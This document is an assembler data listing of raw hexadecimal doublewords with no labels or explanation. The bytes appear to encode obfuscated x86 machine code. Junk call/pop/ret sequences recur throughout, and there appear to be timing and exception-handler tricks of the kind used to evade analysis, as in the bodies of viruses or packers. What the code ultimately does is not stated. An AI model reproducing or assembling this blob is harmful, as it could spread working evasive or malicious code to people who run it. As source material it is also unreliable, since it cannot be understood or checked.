		dd 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 7DE24AC3h, 8166144Ch, 808F31EBh, 6A04E1h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 44FBEBC3h, 156C18E9h, 8636F381h, 0DA8B23CFh,	840FC90Ah
		dd 19Ch, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 14h,	0F4C35141h, 15DD858Bh, 6A06A6h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 5617C5C3h
		dd 505BD98Bh, 0DD5BD89h, 335F06A6h, 0A6209D85h,	799D0906h
		dd 5006A61Bh, 89DA8B66h, 6A2404h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 7C8B4FC3h, 931AEDD7h
		dd 8B49DA3Dh, 0A613399Dh, 6A006A06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0B7A8C352h
		dd 0E34551F4h, 4E8F1h, 3FF0000h, 8B66001Fh, 8E850DAh, 0D1000000h
		dd 1906E364h, 0FA422A9h, 689h, 0F525000h, 5F585A31h, 424448Bh
		dd 0DE8h, 0C9E88C00h, 55832B97h, 938C11E4h, 8B5B4FCFh
		dd 8991B700h, 60042444h, 7E8h, 0B1CC1600h, 855F1D4Ah, 0EE9h
		dd 2CF7A100h, 0D549C922h, 38C01C33h, 5F091599h,	880F5250h
		dd 0
		dd 0BE66310Fh, 585AD881h, 8B665861h, 3595FFDFh,	6A06A60Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 40E8C355h, 31D557C2h, 312D9D8Bh, 0B58906A6h
		dd 6A60819h, 0B6A38589h, 6A06A9h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 0E619CDC3h, 11859448h
		dd 0B1E99623h, 0E9000001h, 0Ch,	61F407C4h, 0ACB84B83h
		dd 0B2103A9Ch, 0B69B858Bh, 6A06A9h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0A62934C3h
		dd 0D0DE1CB1h, 2B77D8E0h, 0A611F19Dh, 1800C706h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 7D89C357h, 0AD724121h, 8B49F4AFh,	0A9B69FB5h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0D506A7D4h, 84F9C25Ah, 0F38008DEh, 0D9858BCCh
		dd 6A06A62Eh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0EEBFC357h, 7007D0BBh,	0DD9D8B1Ch
		dd 8906A613h, 99D8B06h,	6606A634h, 8BE096BFh, 0A615DD85h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 44689EDh, 13E9h,	3C8F7900h, 0FF550410h
		dd 0F0854D4Fh, 0B9C752BCh, 47F917FEh, 6880F50h,	0F000000h
		dd 8Ch,	24348900h, 4C59529h, 0B5FF06A6h, 6A9B69Bh, 0B57E68F8h
		dd 0BE9B3FBh, 7F000000h, 147FCBD9h, 97F7C220h, 48133D9h
		dd 234E8124h, 56006A4Ch, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 8DDF8BA2h, 0A9B6A385h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0FE7278D2h, 3810F50h, 66000000h, 489DA8Bh, 0DB816624h
		dd 95FFCCE4h, 6A60B35h,	31158D31h, 9D2306A6h, 6A61D0Dh
		dd 2DBD0961h, 0C706A62Ah, 0A60BE985h, 306h, 45BB6600h
		dd 59BD897Fh, 8306A618h, 0A9B6A3BDh, 840F0006h,	32h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 57C35040h, 0E841F79Ch
		dd 0E9FAB024h, 25h, 2B89B660h, 0A62C3995h, 30506106h, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 12880FC0h
		dd 0E9000000h, 0Dh, 1C566DF2h, 28034F95h, 6F762ABCh, 52006AEFh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 8E9BE8BEh, 0DE95434h, 40000000h, 33753C62h, 0D346543Ch
		dd 0E717AC41h, 0BE9BD83h, 0F0306A6h, 40F85h, 83DA8A00h
		dd 0A9B6A3BDh, 840F0006h, 400h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 26C35040h, 5E925h, 0BA010000h
		dd 0FF4AD1F1h, 0A9B6A3B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0D98AC890h
		dd 0C1D95FFh, 5E806A6h,	0D2000000h, 0FB99A681h,	68D0Fh
		dd 8D290000h, 6A606B1h,	97B58B5Bh, 6A06A9B6h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 986FC355h, 7FD7CE34h, 6C73BB7h, 10001h, 0E59D8BF5h
		dd 5006A608h, 4278BB66h, 52243489h, 15852960h, 8906A616h
		dd 0A60F059Dh, 895B6106h, 0A62E2585h, 0A3B5FF06h, 6A06A9B6h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0DCB3C350h, 98ECBB9Ah, 95FFDA8Bh,	6A629D1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 65C35747h
		dd 29FD5BD4h, 0A60CED85h, 97B58B06h, 6A06A9B6h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 0DB88C351h, 0F35C0CF6h, 858BFE8Bh, 6A60769h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0F2C35040h, 588218EFh
		dd 67BB4D76h, 895AB1A3h, 0C486h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 6A149909h
		dd 0D2EB8015h, 6AD958Bh, 0C28306A6h, 52006A04h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0B2E598B6h
		dd 89DC8AD0h, 6A2050h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0A911ABC3h, 8D87E86Ah, 0A9CA6B85h
		dd 0FABF0F06h, 0FE856h,	360F0000h, 7CFC6952h, 0C0E93CD6h
		dd 7464844Fh, 0CD9D09DDh, 5F06A62Ah, 0B886895Fh, 81000000h
		dd 9BB030D3h, 0E9006A6Ch, 0Dh, 0CEF08732h, 39130CDBh, 3E80C381h
		dd 0A3B5FF52h, 0FF06A9B6h, 0A6066D95h, 1830F06h, 0FC000000h
		dd 88A0F50h, 0F000000h,	282h, 895F5200h, 0DE92434h, 17000000h
		dd 48F9FEC3h, 7172BD31h, 0F4579B2Fh, 2F019D8Bh,	0B5FF06A6h
		dd 6A9B6A3h, 10E9h, 8B3AB900h, 0A9E54939h, 68F598E6h, 0F51A17C9h
		dd 68D0FF2h, 8B000000h,	0A6318DBDh, 1595FF06h, 6A06A60Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0F7EEC353h, 7E0B20D3h, 1EB9BD8Bh,	820F06A6h
		dd 6, 82D8589h,	0BD8306A6h, 6A62B29h, 43840F00h, 0F000000h
		dd 0B88h, 6E900h, 8C270000h, 0A11E3249h, 2EE99589h, 0E99606A6h
		dd 0Dh,	0F5EE9174h, 6D45236Eh, 0BDA9CA9Fh, 525050BAh, 0E3278BBh
		dd 5A310F39h, 8E0F9658h, 6, 31BD8589h, 0B5FF06A6h, 6A9B6A3h
		dd 1001BD23h, 95FF06A6h, 6A61D55h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0FFC35545h,	0EE9BBh, 5A660000h
		dd 451232F5h, 98F245A6h, 0E6C3BF61h, 0B6A3B5FFh, 6A06A9h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0FFD916C3h, 0A62AD995h, 0F2CB8106h, 8341EF18h, 0A62CF5BDh
		dd 840F0206h, 3Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 7C35747h, 7B378C75h, 41C0DB02h, 41858BE3h
		dd 8B06A618h, 0A6167D9Dh, 0C606h, 1A2C781h, 85C733D3h
		dd 6A62ED1h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 4AC35141h
		dd 8E950D7h, 28000000h,	8B917B3Ch, 5BBFCD4Eh, 0FFF300E9h
		dd 6AC18BFFh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 1884C356h, 0CFBF6660h,	0D59D2937h
		dd 6106A629h, 2CAD858Dh, 950906A6h, 6A629B5h, 0DE8B5090h
		dd 0DBB70F90h, 9529006Ah, 6A63325h, 8F0F006Ah, 4, 593BBF66h
		dd 858DCDB7h, 6AA8E8Dh,	139DBD03h, 0C08306A6h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0EDBD1A0Fh, 4895038h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 60EBF7F6h, 131958Bh, 800F06A6h
		dd 5, 62499AB8h, 0E8F86168h, 0Ch, 9838096Dh, 14DA3687h
		dd 0C8C9E3DDh, 6A006A5Fh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0FF52C351h,	7A6B79A2h
		dd 55BD8B4Ch, 0E806A62Fh, 11h, 7BDA482h, 0C88C9817h, 0BF65169Dh
		dd 947C5A27h, 28A0F79h,	56000000h, 6A5F5Fh, 6D9BD89h, 0D78106A6h
		dd 0B740BF6h, 124595FFh, 6A06A6h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 698B8AC3h, 4870Fh, 0BB660000h
		dd 6660D09Ah, 9D31F98Bh, 6A60559h, 9CBB6661h, 0FF8D8D2Ah
		dd 6A06A994h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 213C350h, 6AD1FFh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 293DF0C3h
		dd 9ED0FC1Dh, 20BF0385h, 834AE484h, 0A61451BDh,	850F0106h
		dd 0B5h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Bh,	0F5C35040h, 0D63C9573h,	80C1A3FCh, 26A96CBh, 50FB8B66h
		dd 11E8h, 0C7362A00h, 0EB65BA1Dh, 9D83B334h, 0DBF164AFh
		dd 820FE5E9h, 5, 96B422BFh, 4895F6Ch, 50006A24h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
		dd 0E94FDB5Fh, 3F9A28E1h, 9D3359F4h, 6A62265h, 3269B501h
		dd 95FF06A6h, 6A6066Dh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0FCC35747h, 0E19872DAh, 71A91689h, 0E38A60B4h
		dd 0BB8CB966h, 0E5AE961h, 0E80000h, 5D000000h, 8E97ED81h
		dd 895606AAh, 0A62A6595h, 6A5B06h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0CF60E6C3h, 60BAD6D2h
		dd 9D9D0353h, 0E906A607h, 7, 96F13923h,	8DF70BF7h, 0A9864A85h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0EC1CFFACh, 0F2BF4A0Bh, 9D0344BAh, 6A60931h
		dd 11E9h, 46633200h, 0E42EC420h, 53170830h, 4365A233h
		dd 0F909AD7h, 0E81h, 50525000h,	5A310F52h, 8B310F58h, 50585AD9h
		dd 0D5B58990h, 6406A60Dh, 35FFh, 8E80000h, 0FF000000h
		dd 8E88A82Dh, 6692654Bh, 0D0A2D381h, 5B6FBB5Bh,	89647AD2h
		dd 25h,	52006A00h, 3E8h, 0C35A2000h, 2454895Ah,	24448104h
		dd 1604h, 0C3524200h, 9CC74F5h,	0A60FA99Dh, 6D85FF06h
		dd 6A06A612h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 56CEC355h, 8D0F86FFh, 6, 30F58D31h
		dd 0FF6A06A6h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	61C35040h, 91858960h, 0F06A630h, 686h, 0C1BD8900h
		dd 6106A629h, 32A1B5FFh, 95FF06A6h, 6A6116Dh, 0E9E9h, 7D958900h
		dd 0B006A62Ah, 0B59D8B00h, 0E606A61Ch, 71E4F870h, 3FF38151h
		dd 5F2C0A0Ch, 830F613Ch, 0C6h, 0C8B60FF5h, 88A0Fh, 840F0000h
		dd 2, 6BA5B50h,	89000000h, 0A61921B5h, 29C18B06h, 0A6124D8Dh
		dd 4E8C106h, 6334F381h,	0F7665C1Fh, 830FE2h, 8B000000h
		dd 0A61F1D9Dh, 8BC82B06h, 0A63385BDh, 8BD18B06h, 0A6042D9Dh
		dd 0FE906h, 0AE90000h, 7A000000h, 688F6566h, 0D91DF463h
		dd 0E1858BD9h, 8106A61Ah, 4B206CEFh, 7C0837Dh, 5100C083h
		dd 3B5B01B3h, 11830FD0h, 8B000000h, 0A61355BDh,	3CE906h
		dd 0BD890000h, 6A62C8Dh, 3F98D8Bh, 0CB8006A6h, 1E18336h
		dd 24840Fh, 0A5830000h,	6A603F9h, 0BE6660FEh, 9D291FF2h
		dd 6A60C75h, 0E1958961h, 8906A61Ah, 0A61C299Dh,	0E906h
		dd 0B58D0000h, 6AA075Bh, 6BE5ABBh, 0F9006A7Fh, 295995FFh
		dd 6A06A6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0DB8667C3h, 8B0FC944h, 2,	2CB9D98Bh, 0E9000009h
		dd 10h,	0EAC8D35Fh, 0DECF1CD0h,	1A1397E1h, 71046CF9h, 29FCE183h
		dd 0A61D159Dh, 6AFC06h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 8FDF29C3h, 661BDCC2h, 902FDB81h
		dd 4D8D8B60h, 6606A61Eh, 2B61C88Bh, 51006AC0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0AB559846h
		dd 9D1BD89h, 0BA06A6h, 89000000h, 0A60B318Dh, 0C233AD06h
		dd 0D003E8D1h, 7504E983h, 6850FF4h, 0F000000h, 81h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 0F508B6D4h, 880Dh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0D432CF40h, 62F3367Eh
		dd 9EBFD33Dh, 8B74FE1Ah, 0A606AD95h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0F52BD1Bh
		dd 8B5BDAB7h, 0A6040D8Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 66FDE9A3h
		dd 7DDAD381h, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 81665818h, 6A5EA3EBh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0D5A9C357h,	90F78113h
		dd 0B04CD2Fh, 0A62E01BDh, 0DDBD8306h, 6A60Fh, 7F840Fh
		dd 880F0000h, 17h, 12E9h, 0F9D43300h, 84AE97D6h, 875BD615h
		dd 90513943h, 898975F2h, 0A61E6185h, 0B806h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0A51868C3h, 6BFDA1BFh, 558D8D43h, 0F06A64Fh,	0F81h
		dd 0AE900h, 0BEA40000h,	693DB07Dh, 9617D535h, 0EF80E1FFh
		dd 8E872h, 0F9060000h, 7DC40500h, 8D898F4Eh, 6A630D9h
		dd 0E9BD835Bh, 6A60Bh, 4CC840Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0FCE283C3h
		dd 2AE3680Fh, 8A0F96F3h, 6, 32F18D29h, 83F506A6h, 0A60BE9BDh
		dd 840F0106h, 4A9h, 4C59D8Bh, 0BD8306A6h, 6A60BE9h, 60860F03h
		dd 66000004h, 0F860DA8Bh, 10E9h, 0ABF1D400h, 91A1CBDBh
		dd 82738C71h, 58689F1h,	0D98C660Ah, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 89C35545h, 0D57CA95h, 97312284h
		dd 6A04E180h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 3B53C355h
		dd 8F6331D6h, 0AB873386h, 45958960h, 0E906A61Dh, 14h, 0F9D2386h
		dd 5C380D63h, 0A615D4BFh, 21A52955h, 6E03D5D9h,	0C1858961h
		dd 0A06A615h, 5F840FC9h, 6A000001h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8BE6C355h
		dd 0DD858BFAh, 8106A615h, 2F070CD3h, 9D853341h,	6A06A620h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 16A3C350h, 4554D1D3h, 2A95BD33h, 0F5006A6h
		dd 28Bh, 89FB8B00h, 8B662404h, 6A006ADFh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0E2D1C356h
		dd 0FDEABFF2h, 1285BD8Bh, 4E806A6h, 0FF000000h,	60001F03h
		dd 0BA66D1B4h, 50613DFBh, 5E85250h, 0F8000000h,	205A4312h
		dd 0A03ABB66h, 66310F5Fh, 5AF688BFh, 24448B58h,	8B665104h
		dd 8B5FD9h, 66505250h, 0F5BFE8Bh, 5AFA8B31h, 24448958h
		dd 29BBBB04h, 6A58221Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 1154C351h, 95FF3E1Ch
		dd 6A60B35h, 68D0Fh, 9D8B0000h,	6A62A39h, 0B6A38589h, 6A06A9h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 91B6FFC3h, 0D8E9D038h, 6A000001h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0C48AC355h
		dd 9EF31248h, 18D99D89h, 858B06A6h, 6A9B69Bh, 9FD38166h
		dd 1800C7CAh, 0E9000000h, 0Dh, 31165E8h, 0AA18874Ah, 7B8B8C29h
		dd 87F38176h, 8B4696FBh, 0A9B69FB5h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 234ECD7h, 0C1407D8Eh
		dd 8166442Ch, 6698EFD3h, 858BDE8Bh, 6A62ED9h, 6A0689h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0E33B2EC3h, 0DD858BCFh, 2906A615h, 0A619E985h, 4468906h
		dd 6860Fh, 0B5890000h, 6A629F9h, 50DE8B96h, 472BF66h, 57006A96h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 11E96Ah, 9DAF0000h, 495A4223h, 3BC6EFC0h, 0A3FEAD1Bh
		dd 0FFF5E9CBh, 0A9B69BB5h, 76E38106h, 682B82F4h, 0A9BC426Dh
		dd 0AE8h, 0BF3C4C00h, 0B422D9F4h, 66889FFBh, 815FFA8Bh
		dd 0C1922404h, 840F5662h, 6, 3285BD8Bh,	858D06A6h, 6A9B6A3h
		dd 12859D8Bh, 505006A6h, 0F5F5752h, 0E9525031h,	14h, 7236EFB0h
		dd 90663FFCh, 611B2FF1h, 90FA3ED8h, 0F0EE12A5h,	7E9310Fh
		dd 0DD000000h, 0C0A36D01h, 585A2039h, 489585Ah,	55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 930BC392h, 62BA485Ch, 9D038AFEh, 6A629D9h, 1A758D89h
		dd 95FF06A6h, 6A60B35h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 2AC35747h, 0DDEB8166h, 0CFF5BF3Ch, 61F82E55h
		dd 14E95F56h, 0FE000000h, 97F83BEDh, 396F7050h,	842759E5h
		dd 0C6C249FCh, 0C752F8D0h, 0A60BE985h, 306h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 14547AA3h, 2B8F3E67h, 0D78B6660h, 0A3BD8361h, 6A9B6h
		dd 5D840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 31BF9FC3h, 279F806Ah, 13E9h, 0D39B7B00h
		dd 1613B3C4h, 0C002BE43h, 29EBE82Eh, 0C02D0763h, 13E8h
		dd 400CDA00h, 0A2445E86h, 0D6BA5400h, 0CB83E112h, 6ABCE889h
		dd 5FF9BF0Fh, 1DE9h, 50F98B00h,	110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 0F380C08Bh, 0FE87Ah, 63470000h
		dd 89F8AD45h, 4EED632Fh, 0A024983Fh, 835FF984h,	0A60BE9BDh
		dd 850F0306h, 466h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 9CC35343h, 357670C1h,	0BB699ECCh, 38DF177Dh
		dd 0B6A3BD83h, 0F0006A9h, 43184h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 91E4D5F0h
		dd 193840BEh, 19D8B5Bh,	0FF06A605h, 0A9B6A3B5h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 4FCF938Ch, 2DB8B21Dh, 6830Fh, 0BD0B0000h, 6A604D9h
		dd 0C1D95FFh, 6A06A6h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 66EA98C3h, 8B58C0BFh, 0A62E35BDh
		dd 97B58B06h, 6A06A9B6h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 381CC357h, 0CB8FDE35h
		dd 106C7h, 81660001h, 0E91E29EBh, 12h, 0F219F172h, 0BE742F04h
		dd 0A272FCDh, 0D93DE09Bh, 0E8969F39h, 6, 9248442Ch, 0FA8A7F22h
		dd 810F505Bh, 0Eh, 6E8h, 4275C500h, 6021276Ch, 0F965F61h
		dd 2087h, 13E96000h, 1C000000h,	7D3CAA5Dh, 1E87F036h, 865EF87Ch
		dd 0BA75CD5Ch, 0B501290Dh, 6A61B11h, 0FFF98B61h, 0A9B6A3B5h
		dd 14E906h, 0A73E0000h,	0D8C74B40h, 0D73059B4h,	2AE219C1h
		dd 0C118447Ch, 95FF07D4h, 6A629D1h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 81C35040h, 28EBD95Fh, 8B4BF174h
		dd 97B58BFBh, 6A06A9B6h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0E9FEC350h,	10h, 5DEBCC90h
		dd 0EC5AF72Fh, 2AB72E29h, 5877D7Fh, 769858Bh, 6A06A6h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 1E0552C3h, 8166A892h, 8997D6F3h, 0C486h, 0BE800h, 71E70000h
		dd 376B748Ah, 4ABBB890h, 0D99589CFh, 5B06A611h,	6AD958Bh
		dd 0BF0F06A6h, 4C283FFh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 18h, 32C35242h, 26CBBA43h,	59858B60h, 6106A62Ch
		dd 12218589h, 508906A6h, 70CCBF20h, 85896FA9h, 6A6189Dh
		dd 0CA6B858Dh, 6A06A9h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 800F4DC3h, 1Bh, 13E8h, 80489200h
		dd 65C51CDh, 0C127CC0Ch, 33B55D49h, 55846EFCh, 0B5B5B56h
		dd 0A6146DBDh, 0B8868906h, 8B000000h, 0A62D419Dh, 0F19D8B06h
		dd 6A06A611h, 0A3B5FF00h, 6A06A9B6h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 9E63C353h
		dd 80F78036h, 66D95FFh,	6A06A6h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 3B8743C3h, 23921B2Ah
		dd 9D8D89C9h, 2906A625h, 0A62D1D9Dh, 0B7515006h, 34895B01h
		dd 51BD2324h, 0FF06A609h, 0A9B6A3B5h, 0ABDF8106h, 0FF5C1056h
		dd 0A60A1595h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 5E49D03Dh, 41E690A5h
		dd 0BD83DF8Bh, 6A62B29h, 20840F00h, 0F000000h, 68Dh, 819D8B00h
		dd 5006A621h, 60243489h, 15F98529h
		dd 820F06A6h, 2, 0FF61F18Bh, 0A9B6A3B5h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 0E8E277CEh, 6679CACFh, 39F2DB81h, 34759D8Bh,	95FF06A6h
		dd 6A61D55h, 3880Fh, 8B660000h,	0F1F780DEh, 0B6A3B5FFh
		dd 6A06A9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 47FCDAC3h, 0FF728BC5h, 2289BD29h,	0BD8B06A6h
		dd 6A61659h, 2AD995FFh,	816606A6h, 0E9ABDCD7h, 0Ch, 20E5D647h
		dd 0AF54332Dh, 9911BB35h, 2CF5BD83h, 0F0206A6h,	1F84h
		dd 0F18D8900h, 8B06A606h, 0A6184185h, 0BD8B5606h, 6A61521h
		dd 0C65Fh, 119D8957h, 5B06A62Bh, 2ED185C7h, 6A6h, 81530000h
		dd 29D0FBEFh, 0EBE95B41h, 60FFFFF2h, 164AEEBBh,	0D5B58B19h
		dd 6106A601h, 8B60C18Bh, 0A6133185h, 0C9858B06h, 6106A629h
		dd 2CAD858Dh, 810F06A6h, 6, 1BF59D09h, 0E38006A6h, 525090ECh
		dd 0EE9h, 8D022D00h, 4CF3C8B2h,	1B05D1B2h, 0F118387h, 50585A31h
		dd 2202B4BFh, 6A9049h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0AF2B23C3h, 0FFF884BFh, 7DBD8B65h
		dd 6A06A61Dh, 8E900h, 6C190000h, 0D8E90424h, 6A74B6h, 0E1726CBFh
		dd 7A858D4Ah, 8B06AA9Eh, 0A6193D9Dh, 5C08306h, 6690D98Bh
		dd 0B750DF8Bh, 6A9062h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0BEC0F2C3h, 54ECF7E1h, 0F6D6176h
		dd 0D98BDAB7h, 810F006Ah, 2, 6AF0B3h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 93C35040h, 124595FFh, 0BD8B06A6h
		dd 6A62FD9h, 94FF8D8Dh,	0BD8B06A9h, 6A62F81h, 6AD1FFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 31E305C3h, 41BB85C6h, 6840FC4h, 89000000h, 0A631ADB5h
		dd 51BD8306h, 106A614h,	58850Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 834331C3h
		dd 73D6BD6Dh, 0BD8B324Ch, 6A61D0Dh, 0BD8B026Ah,	6A63471h
		dd 1BE1BF66h, 24048950h, 68B0Fh, 9D8B0000h, 6A63271h, 66D95FFh
		dd 958906A6h, 6A604D9h,	2A1D9D29h, 3AE906A6h, 0E800000Ch
		dd 0
		dd 84ED815Dh, 8006AA9Eh, 0FB8B5CEBh, 864A858Dh,	6A06A9h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 863ECCC3h, 2915B93Ch, 0E3816665h, 0E89044B8h, 11h, 0BAA0FAEEh
		dd 0F8E0B00Ah, 50905FC2h, 2085FD13h, 0F505B0Dh,	0C89h
		dd 30BE6000h, 0BB1986D7h, 17FCDF15h, 7E99061h, 65000000h
		dd 216B7E03h, 0FF64A567h, 35h, 5B50100h, 6406A61Fh, 2589h
		dd 85FF0000h, 6A6126Dh,	6AFF6Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0DF8B86C3h, 1E41B5FFh
